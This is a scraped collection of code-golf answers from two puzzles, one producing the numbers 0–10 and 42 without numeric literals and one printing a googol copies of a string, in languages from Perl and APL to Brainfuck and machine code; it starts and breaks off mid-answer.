██████████████████████████████████████████■ ``` Each line must be run individually in this case since the program terminates in the light (a space). However, it is possible to write this on one or several lines in the same program. Regular darkness (█) increments a register by 1, and the ■ instruction (some sort of mini-darkness) outputs the contents of the register. [Answer] ## Perl 5, ~~86~~ ~~75~~ ~~71~~ 66 bytes All `^F`s are literal control characters (0x06 in ASCII), and hence a single byte. ``` $[ # array start index, defaults to 0 2 !$[ # !0 is 1 3 $^F # max sys file descriptor number, 2 on all sane systems 2 ++$^F # 2 + 1 4 ~-$] # 5 - 1 4 int$] # $] is Perl version, int truncates 5 length$~ # 1 + 5 8 ~~exp$^F # floor(e^2) 7 $^F<<$^F # 2 bitshift-right 2 6 -!$[+ord$/ # -1 + 10 10 ord$/ # input record separator, newline by default, ord gets ASCII val 5 ord($"^$/) # 32 + 10 10 ``` Thanks to [msh210](https://codegolf.stackexchange.com/users/1976/msh210) for saving 11 bytes and [Dom Hastings](https://codegolf.stackexchange.com/users/9365/dom-hastings) for 9 bytes! [Answer] ## MATL, 30 bytes ``` O l H I K Kl+ HI* KYq HK* IH^ K:s IH^:sI- ``` `H`, `I`, and `K` are predefined constants for 2, 3, and 4 (like `pi`). `O` and `l` are functions that returns a matrix of zeros (`O`) or ones (`l`), the default size is 1x1. `:` makes a vector, and `s` sums it, so `K:s` makes a vector from 1 to 4 and sums it to get 10. `Yq` is the n-th prime function, so `KYq` is the 4th prime, 7. [Answer] # Prolog, ~~113~~ 99 bytes **Snippets:** ``` e-e % 0.0 e/e % 1.0 e/e+e/e % 2.0 ceil(e) % 3 ceil(pi) % 4 ceil(e*e-e) % 5 ceil(e+e) % 6 floor(e*e) % 7 ceil(e*e) % 8 ceil(pi*e) % 9 ceil(pi*pi) % 10 ceil(e^e*e) % 42 ``` Combines the mathematical constants **e** and **pi** in different ways converted to int. **Edit:** Saved 14 bytes by utilizing floats for 0-2. [Answer] # PHP, ~~157~~ ~~145~~ 91 bytes First time posting on Code Golf, figured I'd give it a shot. I'll get better eventually :P If you see any obvious (to you) spots where I could save characters, let me know. EDIT: Realized I didn't need the semicolons, since these are just snippets. EDIT2: Thanks to Blackhole for many suggestions! ``` LC_ALL DNS_A ~~M_E ~~M_PI LOCK_NB LC_TIME LOG_INFO INI_ALL IMG_WBMP SQL_DATE SQL_TIME LOG_INFO*INI_ALL ``` [Answer] # Python 2, ~~191~~ ~~159~~ ~~158~~ ~~157~~ ~~156~~ ~~149~~ 146 bytes My first submission ever, I hope I got everything right ! Based on the time I spent on this, I guess there's surely a better one for a few of them. ``` # 0 | Bytes : 5 int() # 1 | Bytes : 5 +True # 2 | Bytes : 6 -~True # 3 | Bytes : 8 -~-~True # 4 | Bytes : 10 -~-~-~True # 5 | Bytes : 12 -~-~-~-~True # 6 | Bytes : 14 -~-~-~-~-~True # 7 | Bytes : 16 -~-~-~-~-~-~True # 8 | Bytes : 15 a=True;a<<a+a+a # 9 | Bytes : 19 a=True;(a<<a+a+a)+a # 10 | Bytes : 20 int(`+True`+`int()`) # 42 | Bytes : 16 ~-len(`license`) # Especially proud of this one ! Total byte count: 146 ``` Many thanks to FryAmTheEggman ! [Answer] # C#, no usings, 234 bytes ``` new int() // 0 -~new int() // 1 -~-~new int() // 2 -~-~-~new int() // 3 -~-~-~-~new int() // 4 -~-~-~-~-~new int() // 5 -~-~-~-~-~-~new int() // 6 -~-~-~-~-~-~-~new int() // 7 -~-~-~-~-~-~-~-~new int() // 8 (int)System.ConsoleKey.Tab // 9 (int)System.TypeCode.UInt32 // 10 (int)System.ConsoleKey.Print // 42 ``` This is much more boring than I initially thought it was going to be. I had pretty varied ideas, such as `new[]{true}.Length` and `true.GetHashCode()` and `typeof(int).Name.Length` and `uint.MinValue` etc., but `new int()` beat them all. [Answer] # PowerShell, 147 bytes These use `+` to implicitly cast things to integers. The later numbers use Enums from the .Net Framework unerpinnings of PowerShell which happen to have the right values. ``` +$a #0, 3 bytes (unset vars are $null, +$null == 0) +$? #1, 3 bytes (bool previous result, default $true, +$true == 1) $?+$? #2, 5 bytes (same as #1, twice) $?+$?+$? #3, 8 bytes (beats [Int][Math]::E) $?+$?-shl$? #4, 11 bytes (-shl is shift-left) $?+$?+$?+$?+$? #5, 14 bytes $?+$?+$?-shl$? #6, 14 bytes (enum value, + casts to integer) +[TypeCode]::Int16 #7, 18 bytes $?+$?-shl$?+$? #8, 14 bytes +[consolekey]::tab #9, 18 bytes +[TypeCode]::UInt32 #10, 19 bytes +[consolekey]::Print #42, 20 bytes #Total: 147 bytes ``` --- * `-~-~-~` used in JavaScript, C# and PHP answers would be `- -bnot - -bnot - -bnot` in PowerShell. * `x^y` exponentiation used in Perl answers, or `x**y` in Python or JavaScript ES7, would be `[Math]::Pow($x,$y)` * constants *e* and *Pi* are the character-heavy `[Math]::E` and `[Math]::PI` [Answer] # [DC](https://rosettacode.org/wiki/Category:Dc), 35 bytes ``` K KZ IZ Iv EI- FI- IZd* IIZ/ Ivd+ IIv- IIZ- IKZ- I EdE++ ``` To test the snippets append a `f` to print the stack and pass that string to `dc`: ``` $ echo 'EdE++f' | dc 42 ``` [Answer] ## TI-BASIC, 41 bytes 0~10: ``` X cosh(X int(e int(π -int(-π int(√(π³ int(π+π int(e² int(eπ int(π² Xmax ``` 42: ``` int(π²/ecosh(π ``` In TI-BASIC, all uninitialized single-letter variables start at 0, and `Xmax` (the right window boundary of the graph screen) starts at 10. The mathematical constant `π` is [one byte](http://tibasicdev.wikidot.com/one-byte-tokens), but `e` is two bytes. [Answer] # Python 2, ~~306~~ ~~275~~ 274 bytes I used the fact that for any *x* (integer and not 0) the expression `x/x` equals 1 and played around with some bitwise operations. I adjusted the snippets such that they still meet the requirements (thanks @nimi this saved me 24 bytes), but you have to manually test them. Here is the code and individual byte counts: ``` zero.py Bytes: 7 len({}) -------------------------- one.py Bytes: 12 r=id(id) r/r -------------------------- two.py Bytes: 17 r=id(id) -(~r/r) -------------------------- three.py Bytes: 20 r=id(id) -(~r/r)|r/r -------------------------- four.py Bytes: 20 r=~id(id)/id(id) r*r -------------------------- five.py Bytes: 26 r=~id(id)/id(id) (r*r)|r/r -------------------------- six.py Bytes: 25 r=~id(id)/id(id) (r*r)|-r -------------------------- seven.py Bytes: 27 r=~id(id)/id(id) -~(r*r|-r) -------------------------- eight.py Bytes: 24 r=-(~id(id)/id(id)) r<<r -------------------------- nine.py Bytes: 29 r=-(~id(id)/id(id)) r-~(r<<r) -------------------------- ten.py Bytes: 31 r=~id(id)/id(id) -r*((r*r)|r/r) -------------------------- answer.py Bytes: 37 r=-(~id(id)/id(id)) (r<<r*r)|(r<<r)|r -------------------------- Total byte count: 274 ``` [Answer] ## Javascript (Browser Env), ~~155~~ ~~136~~ 130 bytes ``` +[] -~[] -~-~[] -~-~-~[] -~-~-~-~[] -~-~-~-~-~[] -~-~-~[]<<-~[] -~-~-~-~-~-~-~[] -~[]<<-~-~-~[] ~(~[]+[]+-[]) -~[]+[]+-[] -~(top+top.s).length // Requires browser environment ``` *Thanks to: [@Ismael Miguel](https://codegolf.stackexchange.com/users/14732/ismael-miguel): 155 -> 136 -> 130 bytes* [Answer] ## Seriously, ~~39~~ 33 bytes Stuff in parentheses is explanations: ``` (single space, pushes size of stack, which is 0 at program start) u (space pushes 0, u adds 1 (1)) ⌐ (space pushes 0, ⌐ adds 2 (2)) u⌐ (space pushes 0, u adds 1 (1), ⌐ adds 2 (3)) ⌐⌐ (space pushes 0, ⌐⌐ adds 2 twice (4)) ⌐P (space pushes 0, ⌐ adds 2 (2), P pushes the 2nd prime (5)) Hl▓ (H pushes "Hello, World!", l pushes length (13), ▓ pushes pi(13) (6)) QlP (Q pushes "QlP", l pushes length (3), P pushes the 3rd prime (7)) Ql╙ (Q pushes "QlP", l pushes length (3), ╙ pushes 2**3 (8)) úl▓ (ú pushes the lowercase English alphabet, l pushes length (26), ▓ pushes pi(26) (9)) u╤ (space pushes 0, u adds 1 (1), ╤ pushes 10**1 (10)) HlPD (H pushes "Hello, World!", l pushes length (13), P pushes the 13th prime (43), D subtracts 1 (42)) ``` Hexdumps of programs: ``` 20 2075 20a9 2075a9 20a9a9 20a950 486cb2 516c50 516cd3 a36cb2 2075d1 486c5044 ``` Thanks to quintopia for 6 bytes! [Answer] # dc, 42 bytes ``` K zz OZ zzz+ OZd* OdZ/ zzzz* Ozz+- OdZ- Oz- O Od+dz++ ``` ## Results ``` 0 1 2 3 4 5 6 7 8 9 10 42 ``` There aren't many ways to generate new numbers with dc. I use `O`: output base, initially 10; `K`: precision, initially 0; `z` stack depth, initially 0; `Z` significant digits of operand. We combine these with the usual arithmetic operators. # Test program ``` #!/bin/bash progs=( \ "K" \ "zz" \ "OZ" \ "zzz+" \ "OZd*" \ "OdZ/" \ "zzzz*" \ "Ozz+-" \ "OdZ-" \ "Oz-" \ "O" \ "Od+dz++" \ ) a=0 results=() for i in "${progs[@]}" do results+=($(dc -e "${i}p")) (( a+=${#i} )) done echo "#dc, $a bytes" echo printf ' %s\n' "${progs[@]}" echo echo '##Results' echo printf ' %s\n' "${results[@]}" ``` [Answer] # Math++, 92 bytes total 0 (1 bytes): `a` 1 (2 bytes):`!a` 2 (3 bytes):`_$e` 3 (4 bytes): `_$pi` 4 (7 bytes): `_$e+_$e` 5 (8 bytes): `_($e+$e)` 6 (9 bytes): `_$pi+_$pi` 7 (8 bytes): `_($e*$e)` 8 (9 bytes): `_($e*$pi)` 9 (10 bytes): `_($pi*$pi)` 10 (12 bytes): `_$e*_($e+$e)` 42 (19 bytes): `_($pi+$pi)*_($e*$e)` [Answer] # MS Excel formulas, ~~163~~ ~~151~~ ~~150~~ 143 bytes Not exactly a programming language, but here it goes... ``` 0: -Z9 (03 bytes) 1: N(TRUE) (07 bytes) 2: TYPE(T(Z9)) (11 bytes) 3: TRUNC(PI()) (11 bytes) 4: TYPE(TRUE) (10 bytes) 5: ODD(PI()) (09 bytes) 6: FACT(PI()) (10 bytes) 7: ODD(PI()+PI()) (14 bytes) 8: EVEN(PI()+PI()) (15 bytes) 9: TRUNC(PI()*PI()) (16 bytes) 10: EVEN(PI()*PI()) (15 bytes) 42: EVEN(CODE(-PI())-PI()) (22 bytes) ``` `PI()` is used in most cases as it is the shorter way (that I am aware of) to introduce a numeric value without using a number or string literal. `N` converts various things (incl. booleans) to numbers, and `T` converts various things to text. `TYPE` returns 2 for a text argument and 4 for a boolean argument. `TRUNC` discards fractional part (i.e. rounds positive numbers down), `EVEN` rounds up to the next even number, and `ODD` rounds up to the next odd number. `CODE(-PI())` is the ASCII code of the first character of the conversion to text of -π, i.e. 45 (for "-"). EDIT: Removed equal signs from the byte count (-12!) - as pointed out by Nᴮᶻ in the comments, they are not supposed to be included. EDIT 2: Assuming the rest of the worksheet is empty, it is possible to use a reference to an empty cell as zero (again, suggested by Nᴮᶻ) provided that we include a minus sign (or use it in other numeric expression) to resolve type ambiguity. [Answer] ## Mathematica, 101 bytes ``` a-a a/a ⌊E⌋ ⌈E⌉ ⌈π⌉ ⌊E+E⌋ ⌈E+E⌉ ⌊E*E⌋ ⌈E*E⌉ ⌈E*π⌉ ⌈π*π⌉ ⌊π*π^π/E⌋ ``` I'm pretty sure some of these are suboptimal. Those rounding brackets are really expensive. For consistency, the first two could also be `E-E` and `E/E` of course, but I thought it's quite nifty to get `0` and `1` from a computation with undefined variables. [Answer] # [Japt](http://ethproductions.github.io/japt/), ~~34~~ ~~33~~ 30 bytes *1 byte saved thanks to @ThomasKwa* ``` T °T C-A D-A E-A F-A G-A °G-A Iq ´A A H+A ``` Here's what each of the different chars means: ``` T 0 A 10 B 11 C 12 D 13 E 14 F 15 G 16 H 32 I 64 q sqrt on numbers ° ++ ´ -- ``` [Answer] # [Marbelous](https://github.com/marbelous-lang/docs/blob/master/spec-draft.md), 98 bytes Not terribly exciting, it relies on the `?n` devices which turn any marble into a random value in the range 0..n (inclusive) a side effect of this is that `?0` turns any marble into a 0 regardless of input. I think the use of literals is permitted because the value does not affect the outcome and there is no other way to call a function once in Marbelous. 0: ``` 00 # A hexadicemal literal: value 0 ?0 # Turn any marble into a random value from the range 0..0 (inclusive) ``` 1: ``` 00 ?0 +1 # increment by one ``` ... 9: ``` 00 ?0 +9 ``` 10: ``` 00 ?0 +A # increment by 10 ``` 42: ``` 00 ?0 +L # increment by 21 +L ``` [Answer] ## [><>](https://esolangs.org/wiki/Fish), 86 bytes * 0: `ln;` * 1: `lln;` * 2: `llln;` * 3: `lll+n;` * 4: `lll:+n;` * 5: `llll+n;` * 6: `llll++n;` or `llll:+n;` * 7: `lllll+n;` * 8: `lllll:+n;` * 9: `lllll++n;` or `llllll+n;` * 10: `llll+:+n;` or `lll:l+*n;` * 42: `llll*ll+*n;` Relies on stack size to get its literals. [Answer] ## Dyalog APL, ~~59~~ 52 bytes *-7 bytes by @NBZ* I wasn't about to let one of @NBZ's questions go without an APL answer! ``` ⍴⍬ 0 ⎕IO 1 ⍴⎕SD 2 ⎕WX 3 ⍴⎕AI 4 ⌈⍟⎕PW 5 ⌊⍟⎕FR 6 ⍴⎕TS 7 +⍨⍴⎕AI 8 ⌊○○⎕IO 9; floor(pi^2 times ⎕IO) ⍴⎕D 10 ⍎⌽⍕⌈*○≢# 42 ``` In the last snippet, by NBZ, `≢#` equals 1. ceil(e^(pi\*1)) is calculated as 24, whose digits are then swapped. Constants used: * `⍬`, is the empty numeric one-dimensional vector. Therefore, its shape `⍴⍬` is 0. * `#` is a special vector of length 1. * `⎕IO` (index origin) starts at 1. * `⎕AV`, the character set, is of length 256. * `⎕PW`, the print width, is 79 characters. * `⎕WX`, window expose (whatever that is) is 3. * `⎕FR`, the float representation, is 645. I have no idea what this is either. * `⎕D`, "digits", is '0123456789'. * `⎕TS`, timestamp, has seven elements: Year, month, day, hr, min, sec, ms. * `⎕SD`, screen dimensions, has two elements: width and height. * `⎕AI`, account info, has four elements. I don't know what they are. [Answer] # [DUP](https://esolangs.org/wiki/DUP), 68 bytes ``` [ [ [ [)]! [ )]! [ )]! [)~_]! [ )~_]! [ )~_]! [ )~_]! [)$+]! [ )$+~_$+]! ``` `[Try it here.](http://www.quirkster.com/iano/js/dup.html)` There are a LOT of ways to do this, but I'm abusing the return stack for this one. # Explanation To fully figure this out, you need to understand DUP's behavior regarding lambdas. Instead of pushing the lambda itself to the stack, it actually pushes the current IP to the stack when the lambda is detected. That can explain the first 3 snippets, which involve lambdas. The next snippets use the return stack. When `!` is executed, the current IP is pushed to the return stack, and the top of the stack is set as the new IP to start lambda execution. `)` pops a number from the return stack onto the data stack. That's pretty much enough to explain the rest of the snippets. If you still don't get it, keep in mind that the `Step` button is quite handy! [Answer] # 05AB1E, ~~40~~ ~~38~~ 24 bytes ``` ¾ X Y XÌ Y· T; T;> T;Ì TÍ T< T žwT+ ``` * Push counter\_variable * Push 1 * Push 2 * Push 1+2 * Push 2\*2 * Push 10/2 * Push (10/2)+1 * Push (10/2)+2 * Push 10-2 * Push 10-1 * Push 10 * Push 32, 10, add [Answer] ## Pyth, ~~35~~ ~~34~~ 33 bytes *-1 byte by @Mimarik* There are a number of possibilities for some programs. **0, 1 byte** ``` Z ``` **1, 2 bytes** ``` hZ !Z ``` **2, 3 bytes** ``` hhZ eCG eCd lyd lyb lyN ``` **3, 3 bytes** ``` l`d ``` **4, 3 bytes** ``` l`b eCN ``` **5, 4 bytes** ``` hl`b telG ``` **6, 3 bytes** ``` elG ``` **7, 4 bytes** ``` tttT helG ``` **8, 3 bytes** ``` ttT ``` **9, 2 bytes** ``` tT ``` **10, 1 byte** ``` T ``` **42, 4 bytes** ``` yhyT ``` All of these involve either basic double (`y`), +1 (`h`) and -1 (`t`) commands, or `l` (length of a string). The Z variable is initialized to zero. For 5, `b` is initialized to a newline character. Backtick gives `"\n"` (including the quotes, and the length of that string is 4. Try them [here](https://pyth.herokuapp.com/?code=Z%0AhZ%0AhhZ%0Al%60d%0Al%60b%0Ahl%60b%0AelG%0AtttT%0AttT%0AtT%0AT%0AyhyT&debug=0)! ]
[Question] [ I am interested in seeing programs which don't ask for any input, print a **googol** copies of some nonempty string, no less, no more, and then stop. A [googol](https://en.wikipedia.org/wiki/Googol) is defined as \$10^{100}\$, i.e., 1 followed by a hundred 0's in decimal. Example output: ``` 111111111111111111111111111111111111111111111111111111111111111111111111... ``` or ``` Hello world Hello world Hello world Hello world Hello world Hello world ... ``` The string can also be entirely composed of white space or special symbols. The only exception to identical copies of a fixed string is if your language decorates the output in some way that can not be prevented, but could be trivially undone in a wrapper script, like prepending a line number to each line. The wrapper script in such cases need not be provided. You can assume your computer will never run out of time, but other than that, your program must have a reasonable demand of resources. Also, you must respect any restrictions that the programming language of your choice poses, for example, you can not exceed a maximum value allowed for its integer types, and at no point more than 4 GB of memory must be needed. In other words, the program should *in principle* be testable by running it on your computer. But because of the extent of this number you will be expected to **prove** that the number of copies of the string it outputs is exactly 10^100 and that the program stops afterwards. Stopping can be exiting or halting or even terminating due to an error, but if so, the error must not produce any output that could not easily be separated from the program's output. This is [code-golf](/questions/tagged/code-golf "show questions tagged 'code-golf'"), so the solution with the fewest bytes wins. ## Example solution (C, ungolfed, 3768 bytes) ``` #include <stdio.h> int main() { int a00, a01, a02, a03, ..., a99; for(a00 = 0; a00 < 10; a00++) for(a01 = 0; a01 < 10; a01++) for(a02 = 0; a02 < 10; a02++) for(a03 = 0; a03 < 10; a03++) ... for(a99 = 0; a99 < 10; a99++) puts("1"); return 0; } ``` [Answer] # Fuzzy Octo Guacamole, ~~13~~ ~~12~~ ~~11~~ 10 bytes ``` 9+ddpp![g] ``` Explanation: ``` 9+ddpp![g] 9+ # push 9 and increment, giving 10 dd # duplicate, twice. now you have [10,10,10] pp # raise a 10 to the 10th power, then raise that to the 10th again. That ends up being 10^100. ![ ] # for loop, `!` sets the counter to the top of stack g # prints an ASCII art goat. ``` Sample of the goat printed: ``` ___. // \\ (( "" \\__, /6 (%)\, (__/:";,;\--____----_ ;; :";,:";`;,";,;";`,`_ ;:,;;";";,;":,";";,-Y\ ;,;,;";";,;":;";"; Z/ / ;,";";,;";,;";;" / / |";/~~~~~\";;" ( K | | || | \_\ | | || | \Z | | || | L_| LL_| LW/ LLW/ ``` [Answer] # [Jelly](https://github.com/DennisMitchell/jelly), ~~6~~ 4 [bytes](https://github.com/DennisMitchell/jelly/wiki/Code-page) ``` ³Ȯ*¡ ``` This is a niladic link (function w/o arguments) that prints **10200** copies of the string **100**, meaning that it prints **10100** copies of the string that consists of **10100** copies of the string **100**. [Try it online!](http://jelly.tryitonline.net/#code=wrPIrirCoQrCoiAgICAgIOG5m-KAnENhbGxzIHRoZSBuaWxhZGljIGxpbmsu4oCd4bmb4oCc&input=) Note that the online interpreter cuts the output at 100 KB for practical reasons. The code also works as a full program, but due to implicit output, that program prints one copy too many. ### How it works ``` ³Ȯ*¡ Niladic link. No arguments. ³ Set the left argument and initial return value to 100. Ȯ Print the current return value. * Compute 100 ** 100 = 1e200. ¡ Call Ȯ 1e200 times. ``` [Answer] # Python, 28 bytes *-1 byte thanks to Jonathan Allan!* **Python 2:** ``` i=10**100 while i:print;i-=1 ``` **Python 3 (30 bytes):** ``` i=10**100 while i:print();i-=1 ``` [Answer] ## Haskell, 28 bytes ``` main=putStr$[1..10^100]>>"1" ``` Concatenates 10^100 copies of the string `"1"` and prints it. [Answer] # Brainfuck, ~~480~~ ~~188~~ ~~114~~ ~~106~~ 98 bytes Just because it needs to be done. Assumes 8-bit cells with wrapping. Prints 250255 NUL bytes, which is 10100 times 10155 times 25255 NUL bytes. ``` >>>>>>-[[->>>+<<<]------>>>-]<<<[<<<]+[+[>>>]<<<->+[<[+>-]>[-<<<<->+>>------>>]<<<<]>>-[<<<].>>>-] ``` Explanation: `>>>>>>` is needed to leave a bit of working space. `-` produces 255. `[[->>>+<<<]------>>>-]` turns this into 255 copies of the value 250, giving a tape that looks like: ``` 0 0 0 0 0 0 250 0 0 250 0 0 ... 250 0 0 [0] ``` `<<<[<<<]+` moves the data pointer back and finishes up the initial data: ``` 0 0 0 [1] 0 0 250 0 0 250 0 0 ... ``` Then comes the loop: `[+...-]` initially sets the 1 to a 2, which gets set back to 1 at the end of the loop. The loop terminates when the loop body already set 2 to 1. Now, the numbers 2 250 250 250 ... 250 represent a counter, in base 250, with each number one greater than the digit it represents. * `[>>>]<<<` moves all the way to the right. Since each digit is represented by a non-zero number, this is trivial. * `->+[<[+>-]>[-<<<<->+>>------>>]<<<<]>>-` decreases the counter by 1. Starting with the last digit: the digit gets decremented. If it remains positive, we're done. If it turns to zero, set it to 250, and continue with the digit before. * `[<<<].>>>` moves the pointer back before the left-most digit, and this is a nice moment to print a NUL byte. Then re-position to exactly the left-most digit, to see if we're done. To verify correctness, change the initial `-` to `+` to print 2501 NUL bytes, `++` for 2502, etc. [Answer] # C, 51 bytes Function `g()` calls recursive function `f()` to depth 99. Excludes unnecessary newline added between `f()` and `g()` for clarity. ``` f(n,i){for(i=10;i--;)n?f(n-1):puts("");} g(){f(99);} //call like this main(){g();} ``` Prints 1E100 newlines. Declaration of `i` as second parameter of `f()` not guaranteed to work in all versions of C. Tested on my own machine (GCC on CygWin) and on ideone.com (I believe they also run GCC), but not up to f(99) for obvious reasons! [Answer] ## Commodore VIC 20 machine code (40 bytes) ... here shown as hexadecimal: ``` 1040 A9[64]A2 00 9D 68 10 E8 E0[32]D0 F8 A9 00 9D 68 1050 10 A9[31]20 D2 FF A2 00 A9[64]DE 68 10 30 08 D0 1060 F0 9D 68 10 E8 D0 F3 60 ``` (Started using: `SYS 4160`) **Meaning of the bytes in brackets** * 0x64 (occurs twice) is the base (100); (values from 2 to 127 should work) * 0x32 is the exponent (50) (any non-zero value (1-255) should work) * Note that 100^50 = 10^100; running the program 100^50 times is more RAM efficient than doing it 10^100 times * 0x31 is the ASCII character to be printed > > and at no point no more than 4 **G**B of memory must be needed. > > > Is this a typing mistake? We have the year 1981. A typical home computer has 1 to 16 **K**B of RAM! And you will hardly find professional models that have 1 **M**B or more. (Ok. Just a joke.) > > In other words, the program should in principle be testable by running it on your computer. But because of the extent of this number you will be expected to prove that the number of copies of the string it outputs is exactly 10^100 and that the program stops afterwards. > > > The program has been tested with other bases and exponents. I have no doubt it will also work with 100 and 50. At least it does not crash with these numbers (but does not terminate in measurable time either). The memory size is sufficient for an exponent of 50 and 100 is less than 127 so a base of 100 should not be a problem. **The the basic idea** There is a 50-digit counter that counts in the 100-system. Bytes 0x01-0x64 represent the digits 0-99. The first byte in the counter is the lowest digit. The last byte in the counter (highest digit) is followed by a byte with the value 0x00. The counter has the initial value 100^50. An outer loop is writing a byte to the "current channel" ("standard output" on modern systems; typically the screen) and then decrements the counter. Decrementing is done by an inner loop: It decrements a digit and in the case of an underflow from 1 to 99 it advances to the next digit. If the byte 0x00 at the end of the counter is decremented the program stops. **The assembly code is** ``` ; Some constants base=10 exponent=100 character=0x32 ; Initialize the content of the counter to 100^50 ; (Fill the first 50 bytes with the value 100) lda #base ldx #0 initLoop: sta counter,x inx cpx #exponent bne initLoop ; (The terminating 0 at the end of the counter) lda #0 sta counter,x ; Now do the actual job outerLoop: ; Output a character lda #character jsr (0xFFD2) ; Prepare for the inner loop ldx #0 lda #base innerLoop: ; Decrement one digit dec counter,x ; Result is negative -> must have been the terminating ; NUL byte -> Exit bmi progEnd ; Result is not zero -> Print the next byte bne outerLoop ; Result is zero -> Was 0x01 before -> As 0x01 represents ; digit 0 this is an underflow -> set the digit to ; "exponent" (100) again (which represents digit 99) sta counter,x ; Go to the next digit and... inx ; ... repeat the inner loop (decrement next digit) ; (Note that this conditional branch is ALWAYS taken) bne innerLoop progEnd: rts counter: ; The memory used by the counter is here... ``` **EDIT** The program runs on Commodore C64, too! [Answer] # Node, 89 bytes ``` for(i="0".repeat(100)+1;+i;i=i.replace(/0*./,x=>"9".repeat(x.length-1)+~-x))console.log() ``` Outputs 10100 newlines. (Theoretically, that is; test by replacing `100` with `1` to output 101 newlines instead.) This works by setting `i` to the string ``` 00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000001 ``` (100 zeroes and a 1; a googol reversed), then repeatedly "subtracting 1" with a regex replace and outputting a newline until the string is all zeroes. A port of the C++ answer would be 49 bytes: ``` (f=n=>{for(i=10;i--;)n?f(n-1):console.log()})(99) ``` [Answer] # [05AB1E](http://github.com/Adriandmen/05AB1E), 6 bytes ``` Tn°F1? ``` **Explanation** ``` Tn° # push 10^100 F # 10^100 times do 1? # print 1 ``` [Answer] # [Slashalash](http://esolangs.org/wiki/Slashalash), 36 ASCII characters (4 distinct) ``` /t./.ttttt//.t/t\..........//t//t... ``` Outputs the `.` character 3\*10^125 times, meaning that it outputs the string consisting of 3\*10^25 repetitions of the `.` character, 10^100 times. Explanation: 1. `/t./.ttttt/`: Replace `t.` with `.ttttt` throughout the rest of the program, repeating until no instances of `t.` remain. This replaces `t...` with `...` followed by 125 `t`s. 2. `/.t/t\........../`: Replace `.t` with `t..........` throughout the rest of the program, repeating until no instances of `.t` remain. This takes the `...` followed by 125 `t`s, and turns it into 125 `t`s followed by 10^125 occurrences of `...`. 3. `/t//`: Remove all remaining `t`s. 4. `t...`: This gets replaced with 3\*10^125 `.`s. Output them. Now, outputting 10^100 repetitions of 3\*10^25 repetitions of something kind of feels like cheating. This program outputs the `.` character exactly 10^100 times, using 45 ASCII characters: ``` /T/tttttttttt//.t/t..........//t//.TTTTTTTTTT ``` Explanation of this one: 1. `/T/tttttttttt/`: Replace `T` with `tttttttttt` throughout the rest of the program. This replaces `TTTTTTTTTT` with 100 repetitions of `t`. 2. `/.t/t........../`: Replace `.t` with `t..........` throughout the rest of the program. This takes the `.` followed by 100 `t`s, and turns it into 100 `t`s followed by 10^100 `.`s. 3. `/t//`: Remove all remaining `t`s. 4. `.TTTTTTTTTT`: This gets replaced with 10^100 `.`s. Output them. Finally, here's a compromise program, which outputs the `.` character 2\*10^100 times, using 40 characters: ``` /t./.tttttttttt//.t/t\..........//t//t.. ``` [Answer] # Ruby, 20 bytes ``` (10**100).times{p 1} ``` Prints 1 followed by a newline 1E100 times. `1E100` does not work as it evaluates to a float, not an arbitrary precision integer. [Answer] ## Befunge 93, 33 bytes ``` 1>01g0`#@!# _01v d^.1 **52p10-1g< ``` Unfortunately, Befunge does not have a power function, so almost all of that code is my implementation of a power function. I'm still working on this. Explanation: ``` 1 > 01g 0` #@!# _ 01g 1- 01p 25** 1. v d ^ < ``` `1`: Start off with `1` in the top left so that when we multiply, we don't get `0` every time. `01g`: get the character at position (0, 1), which is `d`, whose ASCII code is 100. `0``: see if the value stored in (0, 1) is greater than 0; this value will change. `#@!# _`: Logical not `!` to the value we get from the last step (0 or 1), so that if it was 1, now we have 0, and we Note that `#` means that you skip the next character in the code. `01g 1- 01p`: Take the value stored in (0, 1) again, subtract 1 from it, and store this new value at (0, 1) `25**`: multiply the top value of the stack by 10 `1.`: print `1` every time this loops `1` is printed (in theory) googol times, but that quickly runs off of the page that I tested this on. You can run Befunge 93 code [here](http://www.quirkster.com/iano/js/befunge.html). For some reason, the top value of the stack is `1.0000000000000006e+100` when it should be `1.0e+100`. I don't know where that `6` came from, but I don't think it should be there and that it may be some rounding error or something like that. [Answer] # [ABCR](https://github.com/Steven-Hewitt/ABCR), 56 bytes ``` ++++++++++AAAAAAAAAA7a*A!(x4bBBBBBBBBBB7b+B@(xa(Ax5b(Box ``` Turing tarpits are fun, especially when they don't have easy multiplication or exponents. On the other hand, I only needed to use two of the three queues! Explanation: ``` ++++++++++ Set register to 10 AAAAAAAAAA Queue 10 to queue A 10 times 7a*A!(x Sum up all of queue A by: 7 x While the register is truthy: a* Dequeue two elements of A, sum them... A ...and queue the result back to A. !( If there's only one element left, i.e. !(A.len - 1), break from the loop. A now has 100, our exponent. 4 While A's front is truthy: bBBBBBBBBBB Clone the front of B 10 (our base) times. (The first iteration fills it up with ten 1s) 7b+B@(x Sum up all of queue B like we did with A a(A Decrement a (so that the loop actually ends. Runs 101 times like it should) x B now contains 10^100 only. 5b(B x 10^100 times: o print the front of queue A (0) ``` [Answer] ## Batch, ~~574~~ 242 bytes ``` @echo off set t=for /l %%a in (2,1,33554432)do call: set f=for /l %%a in (2,1,9765625)do call: %t%a :a %t%b :b %t%c :c %t%d :d %f%e :e %f%f :f %f%g :g %f%h :h %f%i :i %f%j :j %f%k :k %f%l :l %f%m :m %f%n :n echo ``` Each loop falls through therefore executing an additional iteration. Loops are limited to ~2³² due to the 32-bit integer limit. The first four loops each count 2²⁵ for a total of 2¹⁰⁰ while the remaining ten loops each count 5¹⁰ for a total of 5¹⁰⁰. Edit: Saved an unimaginable 58% thanks to @ConorO'Brien. [Answer] # x86-64 machine code function, 30 bytes. Uses the same recursion logic as [the C answer by @Level River St](https://codegolf.stackexchange.com/questions/97975/output-a-googol-copies-of-a-string/97993#97993). (Max recursion depth = 100) Uses the `puts(3)` function from libc, which normal executables are linked against anyway. It's callable using the x86-64 System V ABI, i.e. from C on Linux or OS X, and doesn't clobber any registers it's not supposed to. --- `objdump -drwC -Mintel` output, commented with explanation ``` 0000000000400340 <g>: ## wrapper function 400340: 6a 64 push 0x64 400342: 5f pop rdi ; mov edi, 100 in 3 bytes instead of 5 ; tailcall f by falling into it. 0000000000400343 <f>: ## the recursive function 400343: ff cf dec edi 400345: 97 xchg edi,eax 400346: 6a 0a push 0xa 400348: 5f pop rdi ; mov edi, 10 400349: 0f 8c d1 ff ff ff jl 400320 <putchar> # conditional tailcall ; if we don't tailcall, then eax=--n = arg for next recursion depth, and edi = 10 = '\n' 40034f: 89 f9 mov ecx,edi ; loop count = the ASCII code for newline; saves us one byte 0000000000400351 <f.loop>: 400351: 50 push rax ; save local state 400352: 51 push rcx 400353: 97 xchg 